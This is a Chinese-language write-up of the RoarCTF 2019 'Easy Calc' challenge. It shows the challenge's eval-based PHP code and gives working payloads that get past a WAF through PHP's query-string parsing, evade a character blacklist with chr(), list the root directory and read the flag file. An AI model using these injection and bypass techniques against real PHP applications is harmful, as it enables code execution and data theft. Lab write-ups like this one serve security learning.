[RoarCTF 2019]Easy Calc

一只本本發表於2024-11-20

題目連結：https://buuoj.cn/challenges#[RoarCTF 2019]Easy Calc

開啟環境後如下所示。

檢視該頁面的原始碼，發現存在 "calc.php" 檔案，同時，提示設定了 WAF。

訪問 "calc.php" 檔案，發現該頁面列印出了 PHP 原始碼。

即。

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

嘗試將 num 變數設定為 a，卻發現頁面返回了 403，說明 WAF 可能是檢測了 num 變數的型別。

根據 PHP 中的字串解析特性，即 PHP 會將查詢字串（在 URL 或正文中）轉換為內部的 $_GET 或 $_POST。值得注意的是，查詢字串在解析的過程中會將某些字元刪除或用下劃線代替。

  • /?foo=bar => Array([foo]=>"bar")。
  • /? foo=bar => Array([foo]=>"bar")。
  • /?+foo=bar => Array([foo]=>"bar")。

因此，若一些 WAF 是檢測指定的變數名及對應的屬性是否在規則內，則可以用 PHP 的字串特性去繞過 WAF 檢測（如 WAF 檢測 $_GET['value'] 的值是否為數字，若不是數字則回顯 403，那麼就可以用：http://xxx.com/ value=xxx 來繞過（注意 value 前的空格））。

先檢視根目錄下存在什麼檔案（這裡需要注意過濾，"/" 可使用 chr 函式進行繞過）。

Payload：?+num=var_dump(scandir(chr(47)))。

發現根目錄存在 "flagg" 檔案，因此嘗試讀取該檔案。

Payload：?+num=var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))。

相關文章